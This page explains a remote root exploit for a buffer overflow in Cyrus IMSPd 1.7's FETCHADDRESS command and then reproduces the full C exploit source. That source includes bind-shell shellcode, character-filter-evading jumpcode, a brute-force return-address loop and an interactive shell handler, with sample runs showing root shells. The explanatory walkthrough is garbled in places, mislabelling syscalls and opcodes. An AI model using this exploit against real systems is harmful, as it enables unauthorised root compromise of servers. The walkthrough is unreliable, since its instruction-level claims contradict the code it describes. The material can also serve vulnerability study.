Cyrus IMSPD 1.7 'abook_dbname' Remote Code Execution Explained

Cyrus IMSPD 1.7 'abook_dbname' Remote Code Execution Explained
What this paper is
This paper details a remote code execution vulnerability in Cyrus IMSPD version 1.7. The exploit, coded by SpikE, targets a buffer overflow in the abook_dbname function, which is triggered by the FETCHADDRESS command. The vulnerability allows an attacker to overwrite the program's execution flow and gain a remote root shell on the vulnerable system. The exploit includes a brute-force mechanism to find the correct return address if it's not known beforehand.
Simple technical breakdown
The core of the vulnerability lies in how the abook_dbname function handles a long input string. When the FETCHADDRESS command is used with an excessively long argument for the name parameter, it causes a buffer overflow. This overflow allows an attacker to overwrite critical data on the stack, including the return address.
The exploit's complexity arises from two main challenges:
- Character Filtering: The IMSPd service filters out characters greater than
0x80. This prevents the attacker from directly placing their shellcode or the target return address if these addresses contain such characters. - Shellcode Placement: The shellcode needs to be placed somewhere in memory. The exploit cleverly uses the third argument of the
FETCHADDRESScommand to hold the shellcode, as this argument is not filtered. However, the address of this buffer might contain invalid characters.
The exploit overcomes these challenges by:
- Overwriting EIP: The attacker crafts a buffer that overflows into the Extended Instruction Pointer (EIP). Instead of directly jumping to the shellcode, the attacker overwrites EIP with an address that points to a small piece of code (Jumpcode).
- Jumpcode: This Jumpcode is designed to find the actual address of the shellcode on the stack. It then adds an offset to this address and jumps to the shellcode.
- RET Opcode Manipulation: A significant hurdle is that the
RETopcode (0xc3) is also a character that might be filtered. The exploit circumvents this by overwriting EIP with a value that, when combined with the subsequent bytes on the stack (which are also controlled by the attacker), can be manipulated to form aRETinstruction. Specifically, it overwrites EIP and the next four bytes with the same value. The Jumpcode then uses this known location to perform anADDoperation, effectively turning a non-0xc3byte into0xc3to execute theRETinstruction. - Brute-forcing: If the exact return address is unknown, the exploit includes a brute-force mode that iterates through a range of potential addresses until a shell is obtained.
Complete code and payload walkthrough
The provided C code implements the exploit. Let's break down the key components:
main function
- Argument Parsing: Uses
getoptto parse command-line arguments like-h(host),-p(port),-b(bruteforce),-a(start address for bruteforce),-t(target number), and-r(bind port). - Target Verification: Checks if the specified target number is valid against the
Targetsarray. - Mode Selection: Based on the
Flagsvariable, it either proceeds with a specific target (TARGETmode) or enters a brute-force loop (BRUTEFORCEmode). - Connection and Buffer Creation: Calls
ConectToHostto establish a connection andCreateEvilBufferto construct the exploit payload. - Payload Sending: Sends the crafted
EvilBufferto the target. - Verification: Calls
VerifyXplto check if a shell has been established on the specified bind port. - Shell Interaction: If successful, it calls
doHackto provide an interactive shell. - Brute-force Loop: If in brute-force mode, it continuously tries different return addresses using
GetNextAddr.
Usage function
- Prints help information for the exploit, detailing available options and targets.
fatal function
- A simple error handling function that prints an error message and exits.
ConectToHost function
- Establishes a TCP connection to a specified host and port.
- Uses
gethostbynameto resolve the hostname. - Returns the socket file descriptor on success, or -1 on failure.
CreateEvilBuffer function
- This is the core function for crafting the exploit payload.
struct STACK Buffer;: Defines a structure that mimics the stack layout. It includes:char name[132];: This is the buffer that will overflow. It's initialized with0x41('A').int eip;: This field will be overwritten with the target return address.int ID;: Another field that is overwritten, likely to pad or align.int Name;: Another padding field.int Acl;: Another padding field.
char NOPs[2000];: A buffer filled with NOP (0x90) instructions. These are used to provide some flexibility in shellcode placement and to ensure the Jumpcode can find the shellcode even if the exact offset varies slightly.static char Buf[sizeof(Buffer)+sizeof(NOPs)+sizeof(Shellcode)+100];: The final buffer that will be sent. It concatenates the Jumpcode, the NOPs, and the Shellcode.uint16_t *PortPtr = (uint16_t *)(Shellcode+PORT_OFFSET);: Points to the bytes within theShellcodethat represent the port number.*PortPtr = htons(BindPort);: Sets the bind port in the shellcode to the desired value, ensuring it's in network byte order.memcpy(Ptr,JmpToShellcode,sizeof(JmpToShellcode)-1);: Copies theJmpToShellcodeinto the beginning of theBufferstructure.Buffer.eip = Retaddr;: Sets theeipfield in theBufferstructure to the target return address. This is the address that will be overwritten on the stack.Buffer.ID = Retaddr;: Also sets theIDfield to the return address.sprintf(Buf,"SPK FETCHADDRESS \"%s\" \"SPK\" %s%s\r\n",(char *)&Buffer,NOPs,Shellcode);: This is the crucial part that constructs the command sent to the server.SPK FETCHADDRESS: The command that triggers the vulnerability.\"%s\": The first argument, which is the overflowingnamebuffer. This buffer contains theJmpToShellcode, the overwritteneip, and other padding.\"SPK\": A dummy second argument.%s%s: The third argument, which is a concatenation of the NOP sled and the actualShellcode. This is where the shellcode is placed.\r\n: The newline and carriage return characters to terminate the command.
Shellcode (from Marco Ivaldi)
This is the actual payload that executes on the target system once control is gained. It's a bind shell.
- Stage 1: Initialization and Socket Creation
\x31\xc0\x31\xdb\xb0\x17\xcd\x80:xor eax, eax(\x31\xc0): Clears the EAX register.xor ebx, ebx(\x31\db): Clears the EBX register.mov al, 0x17(\xb0\x17): Sets AL to 23. This corresponds to thesys_socketcallsyscall number.int 0x80(\xcd\x80): Executes the syscall. Thesys_socketcallsyscall witheax=23andebx=0(which is implicitly set byxor ebx, ebx) creates a socket.
- Stage 2: Setting up
sys_socketcallarguments forsocket\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80:xor ebx, ebx(\x31\xdb): Clears EBX.mul ebx(\xf7\xe3): Multiplies EAX by EBX. This is a common way to set EAX to 0.mov al, 0x66(\xb0\x66): Sets AL to 102. This is thesocketcallnumber forsocket.push esi(\x53): Pushes ESI (which will be used for the socket type).push ebx(\x43): Pushes EBX (which is 0, for protocol).push esi(\x53): Pushes ESI again.push ebx(\x43): Pushes EBX again.push esi(\x53): Pushes ESI again.mov ecx, esp(\x89\xe1): Sets ECX to point to the stack, which now holds the arguments forsocket.dec ecx(\x4b): Decrements ECX. This is a common trick to adjust the stack pointer to point to the correct argument forsocket.int 0x80(\xcd\x80): Executes thesys_socketcallsyscall.
- Stage 3: Setting up
sys_socketcallarguments forbind\x89\xc7\x52\x66\x68"BP"\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80:mov edi, eax(\x89\xc7): Saves the socket file descriptor from EAX into EDI.push edx(\x52): Pushes EDX (which is 0).push word 0xXXXX(\x66\x68"BP"): Pushes the bind port (network byte order).BPare placeholders for the actual port bytes.push ebx(\x43): Pushes EBX (which is 0, for IP address).push word 0xXXXX(\x66\x53): Pushes the port again. This is part of the sockaddr_in structure.mov ecx, esp(\x89\xe1): Sets ECX to point to the stack, which now holds the arguments forbind.mov al, 0x10(\xb0\x10): Sets AL to 16. This is thesocketcallnumber forbind.push edi(\x50): Pushes the socket file descriptor.push ecx(\x51): Pushes the address of the sockaddr structure.push edi(\x57): Pushes the socket file descriptor again.mov ecx, esp(\x89\xe1): Sets ECX to point to the stack, which now holds the arguments forsys_socketcallforbind.mov al, 0x66(\xb0\x66): Sets AL to 102 forsocketcall.int 0x80(\xcd\x80): Executessys_socketcallforbind.
- Stage 4: Setting up
sys_socketcallarguments forlisten\xb0\x66\xb3\x04\xcd\x80:mov al, 0x66(\xb0\x66): Sets AL to 102 forsocketcall.mov bl, 0x04(\xb3\x04): Sets BL to 4. This is thesocketcallnumber forlisten.int 0x80(\xcd\x80): Executessys_socketcallforlisten.
- Stage 5: Setting up
sys_socketcallarguments foraccept\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80:push eax(\x50): Pushes the socket file descriptor.push eax(\x50): Pushes it again.push edi(\x57): Pushes the socket file descriptor.mov ecx, esp(\x89\xe1): Sets ECX to point to the stack, which now holds the arguments foraccept.inc ebx(\x43): Increments EBX. This is a common trick to set EBX to 1 foraccept.mov al, 0x66(\xb0\x66): Sets AL to 102 forsocketcall.int 0x80(\xcd\x80): Executessys_socketcallforaccept. This call will block until a connection is made. The accepted socket file descriptor will be in EAX.
- Stage 6: Executing
execve(/bin/sh)\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80:mov ecx, ebx(\x89\xd9): Moves EBX to ECX. EBX now holds the accepted socket file descriptor.mov ebx, eax(\x89\xc3): Moves EAX (the accepted socket file descriptor) to EBX. This sets up the first argument forexecve.mov al, 0x3f(\xb0\x3f): Sets AL to 63. This is theexecvesyscall number.dec ecx(\x49): Decrements ECX. This is a common trick to adjust the stack pointer to point to the correct argument forexecve.int 0x80(\xcd\x80): Executes theexecvesyscall.
- Stage 7: Shellcode for
/bin/sh\x41\xe2\xf8\x51\x68n/sh\x68//bi\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xcd\x80:\x41\xe2\xf8: This is a short loop that essentially does nothing but increment EAX. It's a placeholder for the actual command string.\x51: Pushes ECX (which holds the address of/bin/sh).\x68n/sh: Pushes the string "n/sh" onto the stack.\x68//bi: Pushes the string "//bi" onto the stack.\x89\xe3: Moves ESP to EBX. This sets up EBX to point to the string "//sh/bin".\x51: Pushes ECX (which is the address of "/bin/sh").\x53: Pushes EBX (which is the address of the command string).\x89\xe1: Moves ESP to ECX. This sets up ECX to point to the arguments forexecve.\xb0\x0b: Sets AL to 11, theexecvesyscall number.\xcd\x80: Executes theexecvesyscall, launching/bin/sh.
JmpToShellcode
This is the custom jump code created by SpikE. Its purpose is to locate the shellcode on the stack and jump to it, while also handling the character filtering and RET opcode issue.
\x41\x41\x41\x41\x41\x41\x41: These are NOP-like instructions (INC ECX). They are used to pad and align the code.\x58:POP EAX. This retrieves a value from the stack into EAX. In the context of the overflow, this will be the overwritten return address.\x6a\x7e:PUSH 0x7e. Pushes the byte0x7eonto the stack. This is likely a placeholder or part of an arithmetic operation.\x5b:POP EBX. Pops the value from the stack into EBX. This will be the0x7ethat was just pushed.\x01\x58\x23:ADD EBX, [EAX+0x22]. This is a critical instruction. It adds the value at memory addressEAX + 0x22to EBX.EAXholds the return address. The exploit relies on the fact that the shellcode is located at a predictable offset from this return address on the stack. This instruction effectively calculates the address of the shellcode.\x58(repeated 7 times):POP EAX. These instructions pop values from the stack into EAX. They are used to discard the excess data on the stack that was part of the overflow, until EAX points to the correct location for the jump.\x6a\x7e:PUSH 0x7e. Pushes0x7eagain.\x58:POP EAX. Pops the0x7einto EAX.\x01\x44\x24\x04:ADD EAX, [ESP+0x4]. This instruction adds the value atESP + 0x4to EAX.ESPpoints to the current stack top.ESP+0x4would be the value that was just popped into EAX (the0x7e). This instruction seems to be part of the complex manipulation to form theRETopcode.\x01\x44\x24\x04:ADD EAX, [ESP+0x4]. Another similar addition.\x58:POP EAX. Pops the final calculated address into EAX. This address should now point to the shellcode.\x45(repeated 8 times):RET. These areINC EBPinstructions. The exploit uses these as a workaround for theRETopcode (0xc3) being potentially filtered. By overwriting EIP with a value that, when combined with the subsequent bytes on the stack, can be manipulated viaINC EBPinstructions to form0xc3, the exploit achieves a controlled return. TheJmpToShellcodeitself is padded with0x45bytes to ensure that when EIP is overwritten, the execution flow eventually hits these0x45bytes, which are then modified to become0xc3(RET) by the precedingADDoperations.
doHack function
- This function provides an interactive shell once the exploit is successful.
- It uses
selectto monitor both standard input (keyboard) and the socket connection. - When data is available on standard input, it's sent to the remote shell.
- When data is available from the remote shell, it's written to standard output.
- This creates a bidirectional communication channel for the attacker.
VerifyXpl function
- This function attempts to connect to the specified
BindPorton the target host. - If the connection is successful, it means the bind shell started by the shellcode is listening, and the exploit has likely succeeded.
- It returns the socket file descriptor of the successful connection, or -1 if it fails.
GetNextAddr function
- This function is used in brute-force mode.
- It takes a current
Addrand increments it by 4 (the size of a pointer). - Crucially, it checks each byte of the address using the
isqstrmacro. isqstr(c): This macro checks if a charactercis considered "valid" by theim_table. Theim_tabledefines characters that are not filtered by IMSPd. Ifisqstrreturns false (meaning the character is filtered out by IMSPd), the address is incremented by 4 until all bytes are "valid". This is to find a return address that doesn't contain characters that IMSPd would filter out, which is necessary for the exploit to work.
im_table and isqstr
im_table: This array defines which characters are considered "safe" by the IMSPd service. Values of0or7indicate safe characters. Other values indicate characters that are filtered.isqstr(c): This macro checks if the charactercis considered safe by looking it up inim_table. The&2operation is a bitwise AND with 2. This implies that only characters where the second bit is set inim_tableare considered "valid" for certain purposes. Theim_tabledefinition shows2for some characters, which would satisfy&2.
Targets array
- This array stores known return addresses for different versions and configurations of IMSPd. This allows the exploit to target specific systems without needing to brute-force.
Code Fragment/Block -> Practical Purpose Mapping
| Code Fragment/Block | Practical Purpose
Original Exploit-DB Content (Verbatim)
/*
** Cyrus IMSPD Remote Root Exploit
** -------------------------------
**
** Bug found by: Felix Lindner <felix.lindner@nruns.com>
** Exploit coded by: SpikE <spike_vrm@mail.com>
**
** Exploitation techinique:
**
** As said by Felix Lindner, the bug lies in the "abook_dbname" function. To cause
** the overrun, we must call this function with a long "name" variable. It can be
** acomplished by supplying the FETCHADDRESS command. This command takes 2 parameters.
** The first one is exactly the "name" var. So, to cause the overflow, we must just
** send the FETCHADDRESS command with an overlong argument.
** To cause the overflow is easy, but using it to execute arbitrary commands is not
** so easy. It is because IMSPd filters all characters that is grather than 0x80.
** Well, put the shellcode is not the problem, cause IMSPd does not filter the args
** after the second one, so, the Shellcode goes in the third arg. The problem is that
** the address of the buffer where the shellcode is placed contains chars grather than
** 0x80 and we can not supply this addr. Well, how it can be done??? After some time
** of research, I found that the address of the buffer where the "name" var is placed
** does not contains these characters (at least on my box). So, I manange my buffer
** to overwrite the EIP with this address. But there is another problem: I can not write
** my shellcode here. Again, after some time, I got the solution. Looking at the stack
** after the overflow, I found the address of the buffer where the shellcode was placed.
** So, I coded a Jumpcode to get this addr from the stack, add some offset to the shellcode
** and jump there. There was a dificult task once the RET opcode is 0xc3 and I can not
** place the code in the buffer. To circumvent it. I overflowned the EIP and the next
** four bytes with the same value. This way, when I get the control, I know where I am.
** With this ability, I can take this value, add some offset and make and ADD at this
** location to turn an 0x45 in an 0xc3, RET.
** Well, this is how I have acomplished this task. As you can see, there two possibilities
** of success. You can be lucky and found a system that the address os shellcode does not
** have invalid chars or the name addr too. Anyone of this will do the task.
**
** Well, that is all. Sorry for my poor english (I am brazilian), I am tired to correct it.
** I hope one can improve this code to be more reliable, but for now, it is not so BAD.
**
** Screenshot:
**
** Hardcoded:
**
** SpikE@VermE imsp]$ ./a.out -t 0 -h localhost
**
** ==[ Cyrus IMSPd Remote Root Exploit bY SpikE ]==
**
** *** Target plataform : IMSPd 1.7 - Red Hat Linux release 8.0 (Psyche)
** *** Target host : localhost
** *** Target port : 406
** *** Bind to port : 31337
** *** Target RET : 0x08065368
**
** [+] Connected
** [+] Creating evil buffer
** [+] Sending evil buffer
** [+] Verifying ...
** [+] Yeap.. It is a root shell
**
** Linux VermE.com.br 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
** uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
** cat /etc/issue
** Red Hat Linux release 8.0 (Psyche)
** Kernel \r on an \m
**
** exit
** [SpikE@VermE imsp]$
**
** Bruteforce:
**
** [SpikE@VermE imsp]$ ./a.out -h localhost -b
**
** ==[ Cyrus IMSPd Remote Root Exploit bY SpikE ]==
**
** *** Target host : localhost
** *** Target port : 406
** *** Bind to port : 31337
** *** Bruteforce mode start : 0x08065357
**
** [+] Using RetAddr = 0x08065357
** [+] Connected
** [+] Creating evil buffer
** [+] Sending evil buffer
** [+] Verifying ...
**
** [+] Using RetAddr = 0x0806535b
** [+] Connected
** [+] Creating evil buffer
** [+] Sending evil buffer
** [+] Verifying ...
**
** [+] Using RetAddr = 0x0806535f
** [+] Connected
** [+] Creating evil buffer
** [+] Sending evil buffer
** [+] Verifying ...
**
** [+] Using RetAddr = 0x08065363
** [+] Connected
** [+] Creating evil buffer
** [+] Sending evil buffer
** [+] Verifying ...
**
** [+] Using RetAddr = 0x08065367
** [+] Connected
** [+] Creating evil buffer
** [+] Sending evil buffer
** [+] Verifying ...
**
** [+] Using RetAddr = 0x0806536b
** [+] Connected
** ** [+] Creating evil buffer
** [+] Sending evil buffer
** [+] Verifying ...
** [+] Yeap.. It is a root shell
**
** Linux VermE.com.br 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
** uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
** cat /etc/issue
** Red Hat Linux release 8.0 (Psyche)
** Kernel \r on an \m
**
** exit
** [SpikE@VermE imsp]$
**
**
*/
#include <getopt.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <errno.h>
#include <netinet/in.h>
#include <stdio.h>
/*--< Prototypes >--*/
void Usage(char *);
void fatal(char *);
int ConectToHost(char *,int);
char *CreateEvilBuffer(int,int);
int VerifyXpl(char *, int);
void doHack(int);
int GetNextAddr(int);
/*--< Defines >--*/
#define DEFAULT_PORT 406
#define DEFAULT_START_ADDRESS 0x8061001
#define BRUTEFORCE 1
#define TARGET 2
#define STDIN 0
#define STDOUT 1
#define ROOT_PORT 31337
#define PORT_OFFSET 29
/*--< From IMSP Source >--*/
char im_table[256] = {
0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 0, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 7, 0, 7, 7, 6, 7, 7, 2, 2, 6, 7, 7, 7, 7, 7,
7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7,
7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7,
7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 0, 7, 7, 7,
7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7,
7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 2, 7, 7, 7, 2,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
};
#define isqstr(c) (im_table[(unsigned char)(c)]&2)
/*--< END >--*/
struct
{
char *Name;
int Retaddr;
}Targets[] =
{
"IMSPd 1.7 - Red Hat Linux release 8.0 (Psyche)",
0x8065368,
"IMSPd 1.6a3 - Red Hat Linux release 8.0 (Psyche)",
0x8061d78,
// Finish
0,
0
};
// Shellcode by Marco Ivaldi <raptor 0xdeadbeef info>
char Shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80"
"\x89\xc7\x52\x66\x68"
"BP" // Port to bind
"\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80"
"\xb0\x66\xb3\x04\xcd\x80"
"\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80"
"\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80"
"\x41\xe2\xf8\x51\x68n/sh\x68//bi\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xcd\x80";
// Jumpcode bY SpikE
char JmpToShellcode[] =
"\x41" // nop like
"\x41" // nop like
"\x41" // nop like
"\x41" // nop like
"\x41" // nop like
"\x41" // nop like
"\x41" // nop like
"\x58" // pop %eax
"\x6a\x7e" // push $0x7e
"\x5b" // pop %ebx
"\x01\x58\x23" // add %ebx,0x22(%eax)
"\x58"
"\x58" // pop %eax
"\x58" // pop %eax
"\x58" // pop %eax
"\x58" // pop %eax
"\x58" // pop %eax
"\x58" // pop %eax
"\x58" // pop %eax
"\x58" // pop %eax
"\x6a\x7e" // push $0x7e
"\x58" // pop %eax
"\x01\x44\x24\x04" // add %eax,0x4(%esp,1)
"\x01\x44\x24\x04" // add %eax,0x4(%esp,1)
"\x58" // pop %eax
"\x45" // ret
"\x45" // ret
"\x45" // ret
"\x45" // ret
"\x45" // ret
"\x45" // ret
"\x45" // ret
"\x45"; // ret
struct STACK
{
char name[132];
int eip;
int ID;
int Name;
int Acl;
};
int main(int argc, char **argv)
{
extern char *optarg;
extern int optind;
char opt;
char *Host = NULL;
int Port = DEFAULT_PORT;
int Flags = 0;
int StartAddress = DEFAULT_START_ADDRESS;
int TargetNumber = 0;
int Sock,rootSock,i;
char *EvilBuffer;
int BindPort = ROOT_PORT;
fprintf(stdout,"\n==[ Cyrus IMSPd 1.7 Remote Root Exploit bY SpikE ]==\n\n");
// Process arguments
while ( (opt = getopt(argc,argv,"h:t:p:ba:r:")) != EOF)
{
switch(opt)
{
case 'r':
BindPort = atoi(optarg);
if(!BindPort) Usage(argv[0]);
break;
case 'h':
Host = optarg;
break;
case 'p':
Port = atoi(optarg);
if(!Port) Usage(argv[0]);
break;
case 'b':
if(Flags == 0)
Flags = BRUTEFORCE;
else
Usage(argv[0]);
break;
case 'a':
if( sscanf(optarg,"0x%lx",&StartAddress) != 1)
Usage(argv[0]);
break;
case 't':
TargetNumber = atoi(optarg);
if(Flags == 0)
Flags = TARGET;
else
Usage(argv[0]);
break;
default: Usage(argv[0]);
break;
}
}
if(Host == NULL || Flags == 0) Usage(argv[0]);
// Verify target
for(i=0;;i++)
if(Targets[i].Name == 0) break;
if(--i<TargetNumber) Usage(argv[0]);
if(Flags == TARGET)
fprintf(stdout,"*** Target plataform : %s\n",Targets[TargetNumber].Name);
fprintf(stdout,"*** Target host : %s\n",Host);
fprintf(stdout,"*** Target port : %u\n",Port);
fprintf(stdout,"*** Bind to port : %u\n",BindPort);
if(Flags == TARGET)
fprintf(stdout,"*** Target RET : %#010x\n\n",Targets[TargetNumber].Retaddr);
else
fprintf(stdout,"*** Bruteforce mode start : %#010x\n\n",StartAddress);
switch(Flags)
{
case TARGET:
Sock = ConectToHost(Host,Port);
if(Sock == -1) fatal("Could not connect");
else fprintf(stdout,"[+] Connected\n");
fprintf(stdout,"[+] Creating evil buffer\n");
EvilBuffer = CreateEvilBuffer(Targets[TargetNumber].Retaddr,BindPort);
fprintf(stdout,"[+] Sending evil buffer\n");
scanf("%d",&i);
send(Sock,EvilBuffer,strlen(EvilBuffer),0);
sleep(1);
fprintf(stdout,"[+] Verifying ...\n");
sleep(1);
if( (rootSock = VerifyXpl(Host,BindPort)) >=0)
{
close(Sock);
free(EvilBuffer);
fprintf(stdout,"[+] Yeap.. It is a root shell\n\n");
doHack(rootSock);
close(rootSock);
exit(0);
}
else
fatal("No root shell. Maybe next time");
break;
default:
for(;;)
{
fprintf(stdout,"[+] Using RetAddr = %#010x\n",StartAddress);
Sock = ConectToHost(Host,Port);
if(Sock == -1)
{
// To avoid stop the bruteforce
fprintf(stdout,"[+] Could not connect. Waiting...\n\n");
sleep(120);
}
else
{
fprintf(stdout,"[+] Connected\n");
fprintf(stdout,"[+] Creating evil buffer\n");
EvilBuffer = CreateEvilBuffer(StartAddress,BindPort);
fprintf(stdout,"[+] Sending evil buffer\n");
send(Sock,EvilBuffer,strlen(EvilBuffer),0);
sleep(1);
fprintf(stdout,"[+] Verifying ...\n");
sleep(1);
if( (rootSock = VerifyXpl(Host,BindPort)) >=0)
{ // actualite informatique
close(Sock);
free(EvilBuffer);
fprintf(stdout,"[+] Yeap.. It is a root shell\n\n");
doHack(rootSock);
close(rootSock);
exit(0);
}
close(Sock);
free(EvilBuffer);
fprintf(stdout,"\n");
StartAddress = GetNextAddr(StartAddress);
}
}
break;
}
free(EvilBuffer);
close(Sock);
}
void Usage(char *Prog)
{
int i;
fprintf(stderr, "Usage: %s -h hostname <options>\n\n"
"Options:\n\n"
" -t target : Select the target\n"
" -p portnumber : Sets a new port number\n"
" -b : Bruteforce mode\n"
" -a address : Defines the start address to bruteforce (Format: 0xdeadbeef)\n"
" -r port : Defines the port to bind (Default = 31337)\n\n"
"Targets:\n\n",Prog);
for(i=0;;i++)
{
if(Targets[i].Name != 0)
fprintf(stderr," [%u] %s\n",i,Targets[i].Name);
else
break;
}
fprintf(stderr,"\n");
exit(1);
}
void fatal(char *ErrorMsg)
{
fprintf(stderr,"[-] %s\n\n",ErrorMsg);
exit(1);
}
int ConectToHost(char *Host,int Port)
{
struct sockaddr_in server;
struct hostent *hp;
int s;
server.sin_family = AF_INET;
hp = gethostbyname(Host);
if(!hp) return(-1);
memcpy(&server.sin_addr,hp->h_addr,hp->h_length);
server.sin_port = htons(Port);
s = socket(PF_INET,SOCK_STREAM,0);
if(connect(s,(struct sockaddr *)&server, sizeof(server)) < 0)
return(-1);
return(s);
}
char *CreateEvilBuffer(int Retaddr,int BindPort)
{
struct STACK Buffer;
char *Ptr = (char *)&Buffer;
char NOPs[2000];
static char Buf[sizeof(Buffer)+sizeof(NOPs)+sizeof(Shellcode)+100];
uint16_t *PortPtr = (uint16_t *)(Shellcode+PORT_OFFSET);
int i;
memset(&Buffer,0x41,sizeof(Buffer));
memset(NOPs,0x90,sizeof(NOPs));
*PortPtr = htons(BindPort);
memcpy(Ptr,JmpToShellcode,sizeof(JmpToShellcode)-1);
Buffer.eip = Retaddr;
Buffer.ID = Retaddr;
Buffer.Name = 0x00;
NOPs[sizeof(NOPs)-1] = 0;
sprintf(Buf,"SPK FETCHADDRESS \"%s\" \"SPK\" %s%s\r\n",(char *)&Buffer,NOPs,Shellcode);
return(Buf);
}
void doHack(int Sock)
{
char buffer[1024 * 10];
int count;
fd_set readfs;
write(Sock,"uname -a;id\n",12);
while(1)
{
FD_ZERO(&readfs);
FD_SET(STDIN, &readfs);
FD_SET(Sock, &readfs);
if(select(Sock + 1, &readfs, NULL, NULL, NULL) > 0)
{
if(FD_ISSET(STDIN, &readfs))
{
if((count = read(STDIN, buffer, 1024)) <= 0)
{
if(errno == EWOULDBLOCK || errno == EAGAIN)
continue;
else
{
close(Sock);
exit(-1);
}
}
write(Sock, buffer, count);
}
if(FD_ISSET(Sock, &readfs))
{
if((count = read(Sock, buffer, 1024)) <= 0)
{
if(errno == EWOULDBLOCK || errno == EAGAIN)
continue;
else
{
close(Sock);
exit(-1);
}
}
write(STDOUT, buffer, count);
}
}
}
}
int VerifyXpl(char *Host, int Port)
{
struct sockaddr_in server;
struct hostent *hp;
int s;
// Create client struct
server.sin_family = AF_INET;
hp = gethostbyname(Host);
if(!hp)
return(-1);
memcpy(&server.sin_addr,hp->h_addr,hp->h_length);
server.sin_port = htons(Port);
s = socket(PF_INET,SOCK_STREAM,0);
if(connect(s,(struct sockaddr *)&server, sizeof(server)) < 0)
return(-1);
return(s);
}
int GetNextAddr(int Addr)
{
Addr+=4;
for(;;)
{
if( !isqstr( (Addr & 0x000000FF) ) ) Addr+=4;
else if( !isqstr( (Addr & 0x0000FF00) >> 8 ) ) Addr+=4;
else if( !isqstr( (Addr & 0x00FF0000) >> 16 ) ) Addr+=4;
else if( !isqstr( (Addr & 0xFF000000) >> 24 ) ) Addr+=4;
else break;
}
return(Addr);
}
// milw0rm.com [2003-12-27]